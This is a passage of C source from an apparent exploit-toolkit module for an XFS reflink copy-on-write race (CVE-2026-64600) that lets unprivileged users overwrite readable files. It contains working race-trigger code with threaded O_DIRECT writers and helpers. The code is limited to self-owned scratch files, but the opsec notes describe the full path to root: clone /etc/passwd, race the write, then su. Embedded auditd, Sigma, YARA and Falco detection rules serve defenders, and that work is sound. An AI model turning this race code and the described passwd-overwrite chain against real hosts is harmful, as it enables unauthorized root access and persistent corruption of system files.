if (!strcmp(e->d_name, ".") || !strcmp(e->d_name, "..")) continue;
unlinkat(dirfd(d), e->d_name, 0);
}
closedir(d);
}
rmdir(scratch);
}
/* One race round against our own clone. Returns 1 if the donor's on-disk bytes
* diverged (the race was won), 0 if intact, -1 if undetermined. */
static int rfx_race_round(const char *donor, const char *clone)
{
struct rfx_race r;
memset(&r, 0, sizeof r);
snprintf(r.clone_path, sizeof r.clone_path, "%s", clone);
pthread_t w[RFX_RACE_WRITERS], h[RFX_RACE_HELPERS];
int nw = 0, nh = 0;
for (int i = 0; i < RFX_RACE_WRITERS; i++)
if (pthread_create(&w[nw], NULL, rfx_writer_fn, &r) == 0) nw++;
for (int i = 0; i < RFX_RACE_HELPERS; i++)
if (pthread_create(&h[nh], NULL, rfx_helper_fn, &r) == 0) nh++;
if (nw == 0) {
atomic_store_explicit(&r.stop, 1, memory_order_release);
atomic_store_explicit(&r.gate, 1, memory_order_release);
for (int i = 0; i < nh; i++) pthread_join(h[i], NULL);
return -1;
}
/* Let every thread reach its spin gate, then release them together. */
usleep(2000);
atomic_store_explicit(&r.gate, 1, memory_order_release);
for (int i = 0; i < nw; i++) pthread_join(w[i], NULL);
atomic_store_explicit(&r.stop, 1, memory_order_release);
for (int i = 0; i < nh; i++) pthread_join(h[i], NULL);
return rfx_content_diverged(donor, RFX_DONOR_BYTE);
}
static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = refluxfs_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] refluxfs: detect() says not vulnerable/reachable; "
"refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] refluxfs: already running as root — nothing to do\n");
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[*] refluxfs: reconstructed reachability probe — builds "
"a reflinked pair of files WE OWN in a private scratch "
"dir, confirms the shared extent via FIEMAP, then races "
"%d concurrent O_DIRECT writes against the clone (%d "
"ftruncate/fdatasync helpers, %d rounds, %ds cap) and "
"stops. It never clones or targets a root-owned file, so "
"the /etc/passwd overwrite → su → root chain is NOT "
"bundled.\n",
RFX_RACE_WRITERS, RFX_RACE_HELPERS, RFX_RACE_ROUNDS,
RFX_RACE_BUDGET_SECS);
/* Fork-isolated for consistency with the corpus's other race triggers.
* Unlike them, a won race here cannot touch kernel memory — the blast
* radius is 4 KiB of our own scratch file. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
char dir[RFX_DIR_MAX];
bool assumed = false;
if (!rfx_find_xfs_dir(dir, sizeof dir, &assumed)) _exit(RFX_RC_SETUP_FAIL);
/* SKELETONKEY_XFS_ASSUME_REFLINK=1 lets an operator assert a target we
* could not see. If the scratch dir is not actually XFS, say so loudly:
* btrfs implements FICLONE and reports FIEMAP_EXTENT_SHARED too, so
* phase A would "confirm" against a filesystem this CVE cannot affect,
* and a not-won race there is evidence of nothing at all. */
if (!rfx_dir_is_writable_xfs(dir) && !ctx->json)
fprintf(stderr, "[!] refluxfs: scratch dir %s is NOT on an XFS "
"filesystem (proceeding on the "
"SKELETONKEY_XFS_ASSUME_REFLINK assertion) — the "
"race cannot fire here regardless of the kernel; "
"treat the outcome as inconclusive, never as "
"evidence that a host is patched\n", dir);
char scratch[RFX_SCRATCH_MAX];
snprintf(scratch, sizeof scratch, "%s/" RFX_SCRATCH_PREFIX "XXXXXX", dir);
if (!mkdtemp(scratch)) _exit(RFX_RC_SETUP_FAIL);
char donor[PATH_MAX], clone[PATH_MAX];
if (rfx_build_pair(scratch, donor, sizeof donor, clone, sizeof clone) != 0) {
rfx_remove_scratch(scratch);
_exit(RFX_RC_NO_SHARE);
}
/* Phase A — deterministic, read-only confirmation that the state the
* bug misjudges exists here.
*
* The FICLONE inside rfx_build_pair() already succeeded, and that is
* the authoritative signal: a shared extent now exists by
* construction. FIEMAP is CORROBORATION of that refcount state, not
* the gate — filesystems can report the SHARED flag lazily (only after
* the extent is committed), and refusing to continue on that alone
* would emit a false "not reachable here" on a genuinely vulnerable
* host. O_DIRECT, by contrast, IS a gate: without it
* xfs_direct_write_iomap_begin is never entered and there is no race
* to exercise. */
int shared = rfx_extent_is_shared(clone);
int odirect_ok = 0;
int t = open(clone, O_RDWR | O_DIRECT);
if (t >= 0) { odirect_ok = 1; close(t); }
if (!odirect_ok) {
if (!ctx->json)
fprintf(stderr, "[-] refluxfs: phase A — O_DIRECT unavailable "
"here; the direct-I/O CoW path cannot be "
"entered, so the race is unreachable\n");
rfx_remove_scratch(scratch);
_exit(RFX_RC_SETUP_FAIL);
}
if (!ctx->json)
fprintf(stderr, "[+] refluxfs: phase A — reflink clone succeeded "
"(shared extent established) and O_DIRECT is "
"available; FIEMAP corroboration: %s. The vulnerable "
"CoW path is reachable here.\n",
shared == 1 ? "FIEMAP_EXTENT_SHARED set"
: shared == 0 ? "flag not reported — proceeding anyway"
: "FIEMAP undetermined — proceeding anyway");
/* Phase B — hard-bounded race window exercise. */
int won = 0, rounds = 0;
time_t deadline = time(NULL) + RFX_RACE_BUDGET_SECS;
for (int i = 0; i < RFX_RACE_ROUNDS && time(NULL) < deadline && !won; i++) {
/* Re-establish the shared extent each round: a successful CoW
* breaks sharing, so without this only the first round would race
* against a genuinely shared block. */
if (i > 0 &&
rfx_build_pair(scratch, donor, sizeof donor, clone, sizeof clone) != 0)
break;
int d = rfx_race_round(donor, clone);
rounds = i + 1;
if (d == 1) won = 1;
}
if (!ctx->json)
fprintf(stderr, "[i] refluxfs: phase B — %d bounded race rounds "
"fired; donor on-disk content %s\n",
rounds, won ? "DIVERGED" : "intact");
rfx_remove_scratch(scratch);
_exit(won ? RFX_RC_SHARED_WIN : RFX_RC_SHARED_NO_WIN);
}
int status;
waitpid(child, &status, 0);
if (WIFSIGNALED(status)) {
if (!ctx->json)
fprintf(stderr, "[!] refluxfs: child died by signal %d during the "
"bounded race — unexpected for a data-only bug; "
"no root was obtained\n", WTERMSIG(status));
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) return SKELETONKEY_EXPLOIT_FAIL;
switch (WEXITSTATUS(status)) {
case RFX_RC_SHARED_WIN:
if (!ctx->json) {
fprintf(stderr, "[!] refluxfs: CVE-2026-64600 CONFIRMED PRESENT — a "
"racing O_DIRECT write landed on a still-shared "
"block and rewrote the donor file's on-disk bytes. "
"That is the arbitrary-overwrite primitive, observed "
"empirically, contained entirely to our own scratch "
"files.\n");
fprintf(stderr, "[i] refluxfs: NOT escalated. Turning this into root "
"means pointing the same race at a file we do not "
"own (the public PoC reflink-clones /etc/passwd into "
"/var/tmp and rewrites it in place, then `su`). That "
"step persistently corrupts a system file on disk "
"with no undo, so it is documented in MODULE.md and "
"NOT bundled. Honest EXPLOIT_FAIL.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
case RFX_RC_SHARED_NO_WIN:
if (!ctx->json) {
fprintf(stderr, "[!] refluxfs: the vulnerable path IS reachable here "
"(shared extent + O_DIRECT confirmed) but the "
"deliberately under-driven race was not won in %d "
"rounds / %ds — honest EXPLOIT_FAIL.\n",
RFX_RACE_ROUNDS, RFX_RACE_BUDGET_SECS);
fprintf(stderr, "[i] refluxfs: absence of a win does NOT mean the "
"host is patched — the public PoC uses 32 writers, 8 "
"helpers and grinds far longer. Trust the version + "
"vendor-erratum verdict, not this timing result.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
case RFX_RC_NO_SHARE:
if (!ctx->json)
fprintf(stderr, "[-] refluxfs: could not establish an observably "
"shared extent (FICLONE or FIEMAP refused) — reflink "
"may be disabled on this filesystem; bug not "
"reachable here\n");
return SKELETONKEY_EXPLOIT_FAIL;
default:
if (!ctx->json)
fprintf(stderr, "[-] refluxfs: probe setup failed — no writable XFS "
"scratch directory, or O_DIRECT unavailable\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
}
/* Sweep scratch directories left behind if a trigger run was killed mid-round.
* The trigger removes its own scratch dir on every normal path; this exists for
* the abnormal ones. It only ever removes directories matching our own
* prefix, inside the candidate dirs we would have used. */
static skeletonkey_result_t refluxfs_cleanup(const struct skeletonkey_ctx *ctx)
{
char dir[RFX_DIR_MAX];
bool assumed = false;
if (!rfx_find_xfs_dir(dir, sizeof dir, &assumed)) {
if (!ctx->json)
fprintf(stderr, "[i] refluxfs: no XFS scratch directory in play — "
"nothing to clean\n");
return SKELETONKEY_OK;
}
DIR *d = opendir(dir);
if (!d) return SKELETONKEY_OK;
int removed = 0;
struct dirent *e;
while ((e = readdir(d)) != NULL) {
if (strncmp(e->d_name, RFX_SCRATCH_PREFIX,
sizeof(RFX_SCRATCH_PREFIX) - 1) != 0)
continue;
char path[PATH_MAX];
snprintf(path, sizeof path, "%s/%s", dir, e->d_name);
struct stat st;
if (lstat(path, &st) != 0) continue;
if (S_ISDIR(st.st_mode)) { rfx_remove_scratch(path); removed++; }
else if (unlink(path) == 0) { removed++; }
}
closedir(d);
if (!ctx->json)
fprintf(stderr, "[+] refluxfs: cleaned %d leftover scratch entr%s under "
"%s\n", removed, removed == 1 ? "y" : "ies", dir);
return SKELETONKEY_OK;
}
#else /* !__linux__ */
static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] refluxfs: Linux-only module (XFS reflink CoW race) "
"— not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] refluxfs: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t refluxfs_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* ----- Embedded detection rules -----
*
* Read this before deploying, because RefluXFS inverts the usual assumption:
*
* THE OBVIOUS RULE DOES NOT WORK. The canonical file-integrity anchors for a
* /etc/passwd overwrite — `-w /etc/passwd -p wa`, AIDE/Tripwire mtime+size
* comparison, `auditctl` watches on the inode — DO NOT FIRE for this CVE. The
* attacker never issues a write(2) against the victim inode; XFS applies their
* data to the shared physical block underneath it. Size, mtime and ctime are
* unchanged, and there is no kernel log output. Anyone relying on FIM to catch
* a passwd modification is blind to this bug by construction.
*
* WHAT DOES WORK, in descending order of fidelity:
* 1. The reflink itself. ioctl(fd, FICLONE=0x40049409, srcfd) is rare on a
* normal server and auditd can match the request number exactly. The
* attack REQUIRES cloning the victim file, so this is on the critical
* path. Tune out cp --reflink=auto / podman / systemd-nspawn image work.
* 2. O_DIRECT opens (openat flags & 0x4000). Also on the critical path, and
* rare outside databases and backup agents.
* 3. Content-vs-metadata drift. Because the on-disk bytes change while mtime
* does not, hashing /etc/passwd, /etc/shadow and the setuid binaries on a
* schedule and alerting when the CONTENT hash moves without a
* corresponding mtime change is a near-zero-false-positive detector for
* this class. That is what the yara rule below is for.
* Correlate 1 and 2 per-pid inside a short window; individually each is benign.
*/
static const char refluxfs_auditd[] =
"# RefluXFS — XFS reflink CoW ILOCK race (CVE-2026-64600) — auditd rules\n"
"#\n"
"# IMPORTANT: do NOT rely on `-w /etc/passwd -p wa` for this CVE. The\n"
"# overwrite is applied to the shared physical block beneath the inode; no\n"
"# write(2) ever targets /etc/passwd, and its mtime/ctime/size do not\n"
"# change. That watch will never fire. The rules below anchor on the two\n"
"# operations the attack cannot avoid.\n"
"#\n"
"# 1. The reflink clone. FICLONE = 0x40049409 (_IOW(0x94, 9, int)); matched\n"
"# exactly on the ioctl request argument, so this does not flood. If your\n"
"# auditctl build rejects hex in an argument field, use decimal 1074041865.\n"
"-a always,exit -F arch=b64 -S ioctl -F a1=0x40049409 -k skeletonkey-refluxfs-ficlone\n"
"# 2. O_DIRECT opens (O_DIRECT = 0x4000 = 16384 on x86_64/arm64; it is 0x10000\n"
"# on some other arches, so adjust if you deploy beyond x86_64/arm64). The\n"
"# race needs direct I/O to reach xfs_direct_write_iomap_begin. Tune out\n"
"# database and backup service accounts before enabling fleet-wide.\n"
"-a always,exit -F arch=b64 -S openat -F a2&0x4000 -k skeletonkey-refluxfs-odirect\n"
"# 3. Post-exploitation fallback: unprivileged process -> euid 0 with no\n"
"# setuid execve (e.g. `su` after the passwd rewrite).\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-refluxfs-priv\n"
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-refluxfs-priv\n";
static const char refluxfs_sigma[] =
"title: Possible CVE-2026-64600 RefluXFS XFS reflink CoW race exploitation\n"
"id: 7c1e9d52-skeletonkey-refluxfs\n"
"status: experimental\n"
"description: |\n"
" RefluXFS (CVE-2026-64600) lets any unprivileged user with write access to\n"
" a reflink-enabled XFS volume overwrite the on-disk contents of any file\n"
" they can read, by racing two O_DIRECT writers through the XFS CoW path\n"
" while the ILOCK is dropped to wait for transaction log space.\n"
" Detection note: file-integrity monitoring on the victim file DOES NOT\n"
" fire — the write bypasses the inode, leaving mtime/ctime/size untouched\n"
" and producing no kernel log output. This rule therefore keys on the two\n"
" operations the attack requires: an FICLONE reflink (ioctl request\n"
" 0x40049409) and O_DIRECT opens, correlated to the same process, plus the\n"
" post-exploitation euid-0 transition. Expect false positives from\n"
" cp --reflink, container image layering, databases and backup agents.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" ficlone: {type: 'SYSCALL', syscall: 'ioctl', a1: '0x40049409'}\n"
" odirect: {type: 'SYSCALL', syscall: 'openat', key: 'skeletonkey-refluxfs-odirect'}\n"
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
" unpriv: {auid|expression: '>= 1000'}\n"
" timeframe: 60s\n"
" condition: (ficlone and odirect) or (uid0 and unpriv)\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.64600]\n";
/* Unusually for a kernel bug, a yara rule is the RIGHT tool here — precisely
* because the on-disk artifact is a content change that leaves no metadata
* trace for FIM to catch. Scan /etc/passwd content, not its stat(2). */
static const char refluxfs_yara[] =
"rule refluxfs_passwd_root_bypass : cve_2026_64600 lpe file_overwrite\n"
"{\n"
" meta:\n"
" cve = \"CVE-2026-64600\"\n"
" description = \"RefluXFS (CVE-2026-64600) on-disk artifact: an /etc/passwd whose root entry has an empty password field, or an added uid-0 account. Content scanning is the right detector for this CVE because the overwrite bypasses the victim inode entirely — mtime/ctime/size never change and nothing is logged, so FIM and auditd file watches never fire. Pair with content-hash-vs-mtime drift monitoring.\"\n"
" author = \"SKELETONKEY\"\n"
" reference = \"https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt\"\n"
" strings:\n"
" // Canonical PoC outcome: root left with no password hash at all.\n"
" $root_nopass_sof = \"root::0:0:\"\n"
" $root_nopass_bol = \"\\nroot::0:0:\"\n"
" // A second uid-0 account appended by an attacker.\n"
" $extra_uid0 = /\\n[a-z_][a-z0-9_-]{0,30}:[^:\\n]{0,64}:0:0:/\n"
" // Shape anchor so we only match passwd-formatted files.\n"
" $passwd_shape = /root:[^:\\n]{0,64}:0:0:/\n"
" condition:\n"
" $passwd_shape and\n"
" ($root_nopass_sof at 0 or $root_nopass_bol or $extra_uid0)\n"
"}\n";
static const char refluxfs_falco[] =
"- rule: XFS reflink clone plus O_DIRECT write burst (possible CVE-2026-64600)\n"
" desc: |\n"
" RefluXFS (CVE-2026-64600) XFS reflink copy-on-write race. The attack must\n"
" reflink-clone the file it wants to overwrite and then issue concurrent\n"
" O_DIRECT writes against the clone, so the highest-fidelity signal is an\n"
" FICLONE ioctl (request 0x40049409) whose SOURCE file is owned by another\n"
" user - a normal workload almost never reflinks a file it does not own -\n"
" followed by O_DIRECT opens from the same pid. Requires an ioctl-aware\n"
" probe that exposes the request argument; where that is unavailable, fall\n"
" back to the O_DIRECT and euid-0 conditions below. Note that watching the\n"
" victim file for writes is useless here: the overwrite never touches its\n"
" inode, so no write event is ever emitted for it.\n"
" condition: >\n"
" (evt.type = ioctl and evt.arg.request = 0x40049409 and user.uid != 0) or\n"
" (evt.type = open and evt.arg.flags contains O_DIRECT and\n"
" fd.name startswith /var/tmp and user.uid != 0) or\n"
" (evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
" not proc.is_setuid = true and user.uid != 0)\n"
" output: >\n"
" Possible CVE-2026-64600 RefluXFS reflink CoW race\n"
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid evt=%evt.type fd=%fd.name)\n"
" priority: WARNING\n"
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2026.64600]\n";
const struct skeletonkey_module refluxfs_module = {
.name = "refluxfs",
.cve = "CVE-2026-64600",
.summary = "XFS reflink CoW ILOCK-cycling race (\"RefluXFS\") — a stale data-fork mapping makes a direct-I/O writer treat a still-shared block as private, overwriting the on-disk contents of any readable file; unprivileged, no userns, no offsets",
.family = "xfs",
.kernel_range = "4.11 <= K < fix (introduced 3c68d44a2b49, direct-I/O CoW allocation in iomap_begin); fixed 2f4acd0fcd86 (\"xfs: resample the data fork mapping after cycling ILOCK\", mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 LTS lines have no upstream stable fix in the CNA record at time of writing (vendors backport without bumping the base version); < 4.11 not affected. Reachable only where an XFS filesystem with reflink=1 is mounted and writable — the mkfs.xfs default since xfsprogs 5.1, and the installer default on RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31 and Amazon Linux 2023",
.detect = refluxfs_detect,
.exploit = refluxfs_exploit,
.mitigate = NULL, /* no runtime mitigation exists: reflink is a superblock feature that cannot be disabled on a live filesystem, O_DIRECT cannot be turned off, and SELinux/seccomp/KASLR/SMEP/SMAP are all irrelevant to a data-oriented bug. Patch the kernel and reboot. */
.cleanup = refluxfs_cleanup,
.detect_auditd = refluxfs_auditd,
.detect_sigma = refluxfs_sigma,
.detect_yara = refluxfs_yara,
.detect_falco = refluxfs_falco,
.opsec_notes = "detect() combines a kernel-version gate (vulnerable iff >= 4.11 AND below the on-branch fix: backports 7.1.4 / 6.18.39 / 6.12.96, 7.2+ inherits mainline; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream fix yet) with a REAL precondition probe — a writable directory on a mounted XFS filesystem, identified by statfs(2) f_type == XFS_SUPER_MAGIC rather than by a successful FICLONE, because btrfs implements FICLONE too and is unaffected. Without such a directory the verdict is PRECOND_FAIL, which is the correct answer on a stock Debian/Ubuntu host. Passively this touches nothing; under --active it additionally writes and removes two 4 KiB files to confirm reflink=1 via FICLONE. Override with SKELETONKEY_XFS_ASSUME_REFLINK=1/0. Big caveat: the exposed population is overwhelmingly RHEL-family and those vendors backport without bumping the upstream version, so on rpm-family hosts a VULNERABLE verdict speaks only to the upstream base version — detect() prints that warning rather than implying it checked the erratum. exploit() forks an isolated child that creates a private mkdtemp scratch directory on the XFS mount and works ONLY on two files it owns: (A) it writes a donor, FICLONE-clones it, and confirms via FIEMAP that the clone's extent carries FIEMAP_EXTENT_SHARED — a read-only, deterministic observation that the refcount-btree state the bug misjudges exists here, plus an O_DIRECT open check; then (B) it races 8 concurrent O_DIRECT 4 KiB writes against the clone with 2 ftruncate/fdatasync helpers cycling the ILOCK, for at most 16 rounds / 2 s, and stops — deliberately under-driven against the public PoC's 32 writers and 8 helpers. It reads the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reports divergence honestly. It NEVER clones or targets a file it does not own: the step that yields root — reflink-cloning /etc/passwd into a writable dir and racing writes onto its shared blocks, then `su` — persistently rewrites a system file on disk with no undo and is documented but NOT bundled. Always returns EXPLOIT_FAIL. Telemetry footprint — an ioctl(FICLONE) burst, many O_DIRECT opens of the same path, and ftruncate/fdatasync churn, all inside a scratch dir named skeletonkey-refluxfs-*; no kernel log output, no dmesg lines, and no panic/oops risk whatsoever since the bug corrupts file data rather than kernel memory (a won race damages 4 KiB of our own scratch file and nothing else — the reason this ranks far above bad_epoll/ghostlock in --auto safety despite being unverified). Artifacts are removed on every normal path; --cleanup sweeps skeletonkey-refluxfs-* leftovers if a run was killed. Blue-team note worth repeating: file-integrity monitoring on the victim file does NOT detect this attack, because the overwrite never touches the victim's inode and leaves mtime/ctime/size unchanged.",
.arch_support = "any",
};
void skeletonkey_register_refluxfs(void)
{
skeletonkey_register(&refluxfs_module);
}